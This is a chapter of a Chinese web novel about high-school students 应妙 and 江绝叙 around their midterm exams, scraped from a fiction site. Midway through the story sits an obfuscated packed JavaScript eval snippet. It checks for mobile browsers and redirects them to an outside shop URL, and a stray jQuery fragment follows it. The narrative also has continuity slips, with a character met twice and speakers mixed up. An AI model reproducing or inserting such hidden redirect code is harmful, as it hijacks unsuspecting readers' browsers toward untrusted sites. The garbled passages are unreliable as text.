文趣网 > 都市小说 > 听蝉鸣 > 13. 期中
    期中考前一周,天气忽然冷了下来。

    应妙早上从宿舍楼出来,被风一吹,整个人缩进校服领子里。江怀一在她旁边,把手塞进口袋,呼出的气变成淡淡的白雾。

    “怎么突然就这么冷了。”应妙跺了跺脚。

    “都十月中了。”江怀一说,“再冷点,跑操更受罪。”

    应妙一想到大课间还要去跑操,脸就皱起来。

    她拉了拉校服拉链,和江怀一加快步子往教学楼走。

    教室里的窗户关得紧紧的,一进门,热气混着早读的声扑面而来。

    应妙摘下书包,刚在座位上坐下,谢知野就凑过来,手里攥着半根没吃完的油条,神秘兮兮地说:“应妙,你知道吗,期中考试座位表出来了。”

    应妙动作一顿:“在哪?”

    “办公室门口贴着。”谢知野咬了口油条,“我刚去交作业,瞟了一眼。”

    “你倒是说啊。”应妙拍了他胳膊一下。

    “你急什么。”谢知野咽下嘴里的东西,故意拖长调子,“你和江怀一一个考场,还跟江哥前后桌。”

    应妙心跳快了半拍,面上却装得不在意:“又是前后桌?这考场按什么排的啊。”

    “按上次月考成绩呗。”谢知野说,“江哥第一,你第七,能挨着就不错了。”

    “那你怎么没跟我们一个考场?”应妙问。

    谢知野脸一垮:“你能不能别哪壶不开提哪壶。”

    应妙笑出来,从书包里抽出英语书。

    她抬头看了一眼前方,江绝叙已经来了,正低头翻着书。

    他校服外面多套了件深色的薄外套,衣领立着,整个人看起来比平时更安静了些。

    也不知道他知不知道考试座位的事。

    早读铃响了,谢知野赶紧坐正,嘴里还叼着半根油条。应妙用胳膊肘撞了他一下:“老师来了。”

    谢知野一口吞下,噎得直翻白眼。

    “呜……救我!”

    第一节课是数学。

    老师讲了一张复习卷,最后十分钟用来对答案。

    应妙错了一道大题,心里有点烦。

    她盯着那道题看了半天,把步骤重新推了一遍,才发现自己把公式代错了一行。

    下楼后,江怀一凑过来看了一眼:“你现在找到问题了吧?”

    “嗯。”应妙把错误用红笔圈出来。

    “你太着急了。”江怀一说,“题目里的条件没读完就下笔。”

    应妙点点头。

    她抬头的时候,目光不自觉地扫过江绝叙。他正把自己写满步骤的卷子折好,往桌肚里一塞,看起来对今天的错误并不在意。

    下课之后,应妙去办公室交作业。

    回来的时候,在走廊拐角碰见了江绝叙。他手里拿着个保温杯,正从饮水间出来。

    “你早上怎么没去食堂?”应妙问。

    “不饿。”江绝叙说。

    “最近都没在食堂见过你。”

    “你以前什么时候见我吃早饭了?”江绝叙看她。

    “刚开学那会儿,你还会喝粥。”应妙说。

    江绝叙似乎没想到她记得这么清楚,顿了一下,才说:“最近起得晚。”

    两人并排往教室走。快到门口时,江绝叙忽然说:“期中考试,你数学最后一道大题,注意分类讨论。”

    应妙偏头看他:“你怎么突然说这个?”

    “上次月考你丢分就在那。”江绝叙说,“这次别再错了。”

    应妙“哦”了一声,心里却有点暖。

    *

    期中考试那两天,天气更冷了还下着雨。

    应妙坐在考场上,手指冻得有点僵。

    她一边写题,一边往手心里哈气。监考老师在讲台前慢慢踱步,窗外风呜呜地吹。

    最后一门物理考完,应妙走出考场,整个人像从冰窖里出来。

    江怀一已经在门口等她了,递给她一片暖宝宝:“快贴上,你脸都冻白了。”

    应妙接过来,撕开贴在衣服里面。没一会儿,热气慢慢散开,她终于缓过来一点。

    “考得怎么样?”江绝叙问。

    “不知道。”应妙说,“物理最后一道没时间写完整。”

    “我也没写多少。”江绝叙说,“大家都说难。”

    应妙点点头,心里还是没底。

    回教室的路上,她碰见了江怀一。

    她刚从另一个考场出来,双手插在兜里。

    看见她,走上前。

    “物理最后一道做了吗?”她问。

    应妙摇摇头:“就写了个公式。”

    “公式也有一分。”一旁的江绝叙说。

    “你每次都会安慰人。”应妙扯了扯嘴角。

    “不是安慰。”江绝叙说,“你不会的,别人也不会。”

    应妙抬头看他。

    他的语气很平静,不像在说好听话,反而像在说一个很确定的事实。

    她忽然觉得自己那点没底,被他这么一说,竟然真的轻了一点。

    “你呢?”她问。

    “做了前两问。”江绝叙说。

    “那不是也——”应妙说到一半,又觉得对他来说,前两问根本不算什么。

    “走吧,先回教室。”江绝叙没在这个话题上继续。

    三个人一起往教学楼走。

    应妙低着头,踩着地上的银杏叶。江绝叙走在她左边,江怀一在右边。谁都没怎么说话,但那段路却走得很踏实。

    *

    成绩出来那天,是周四。

    应妙到教室的时候,公告栏前已经围了一堆人。她没有马上过去,先放好书包,才慢慢走到人群后面。谢知野从里面挤出来,脸涨得通红,一见应妙就喊:“应妙!你第五!”

    应妙愣了一下:“你逗我?”

    “我逗你干嘛!”谢知野指着公告栏,“真的,我看了两遍!班级第五!你进步了!”

    应妙挤进去,踮起脚,在密密麻麻的名字里找到自己。

    第六名。不,等等,她再一看,上面写的是第五。她揉了揉眼睛,又看了一遍。

    确实,第五名。

    她心里“轰”地一下,心跳的很快。

    周围闹哄哄的,她听见谢知野在喊“请客请客”,听见温晚在笑,听见不知是谁在说“应妙好厉害”。

    她只是站在那里,盯着那个数字看了很久。

    “恭喜。”

    身后有人说话。

    应妙回头,是江绝叙。

    他站在她后面,手插在校服口袋里,微微低着头看她。

    他的眼睛看着应妙,像早知道她会走到这个位置。

    “你看到啦?”应妙说话时还有点喘。

    “嗯。”江绝叙点了个头,“第五。”

    “比你差远了。”应妙说。

    “比上回近了。”江绝叙说。

    应妙一怔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876677|212081||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。

    她想起月考成绩出来那天,自己说过的那句“比你差远了”。

    江绝叙一直记着。她还想起那句“我巴不得你快点跟上来”。他不是说说而已。

    “你上次说,等我追上来。”应妙看着他。

    “嗯。”江绝叙说,“你追上来一点了。”

    “那有没有什么奖励?”应妙半开玩笑。

    江绝叙想了想,说:“晚自习下课,陪我去小卖部。我请你喝酸奶。”

    应妙笑了:“就一瓶酸奶啊?”

    “那再加一包芒果干。”江绝叙说。

    “成交。”应妙说。

    谢知野在旁边听得目瞪口呆:“你们怎么还开始约小卖部了?就不能带上我吗?”

    “不带。”应妙说。

    “为什么!”

    “你太吵了。”应妙和江绝叙几乎同时说。

    谢知野:“……”

    *

    晚自习结束,外面的风比白天小了些,但还是很冷。

    应妙和江绝叙一起往小卖部走。

    路灯把两个人的影子拉得细长。应妙把手缩在校服袖子里,步子迈得很轻。

    她没说话,但心里是高兴的。那是这段时间以来,最轻松的一个晚上。

    小卖部里人不少。江绝叙让应妙站在门口等,自己进去买。

    没一会儿,他拎着个小塑料袋出来,递给她。

    “给。”

    应妙接过来,里面是一瓶酸奶和一包芒果干。正是她喜欢的牌子。

    “谢啦。”她抱在怀里,像得了什么宝贝。

    “下次考进前五,还有。”江绝叙说。

    “我已经第五了。”应妙说。

    “那就前三。”江绝叙说。

    应妙瞪他:“你当这是打游戏啊,还带升级。”

    江绝叙笑了一下:“升级有什么不好?”

    应妙没说话,拆开酸奶喝了一口。

    冰冰凉凉的,从喉咙一路滑下去。

    她抬头看天,月亮藏在云后面,只透出一点模糊的光。

    “江绝叙。”她说。

    “嗯。”

    “你觉得我期末能考多少?”

    “看你想考多少。”江绝叙说。

    “我想考过你。”应妙说。

    “那有点难。”江绝叙说。

    “你刚才还说让我追上来。”应妙不服气。

    “追上来是缩短距离,不是超过我。”江绝叙偏头看她,“不过,如果你真想超,我可以让让你。”

    “谁要你让。”应妙翻了个白眼。

    江绝叙笑出声来。那笑声在夜色里显得格外清晰,也格外温柔。

    应妙听着,心跳不自觉地快了一拍。她别过头,假装在看路边的树。

    两个人慢慢走回宿舍区。女生宿舍楼前,应妙站定,朝他挥挥手:“那我上去啦。”

    “嗯。”江绝叙说,“早点睡。”

    应妙点点头,转身走进宿舍楼。走到楼梯口时,她回头看了一眼。

    江绝叙还站在原地,正看着她这边。见她回头,他抬了抬下巴,示意她快上去。

    应妙冲他笑了一下,转身上楼。

    那天晚上,她躺在床上,把芒果干放在枕头旁边,没舍得拆开。

    酸奶已经喝完了,瓶子被她洗干净,摆在桌角。

    她闭着眼想:第五名,好像也没有那么难。

    下次,再近一点。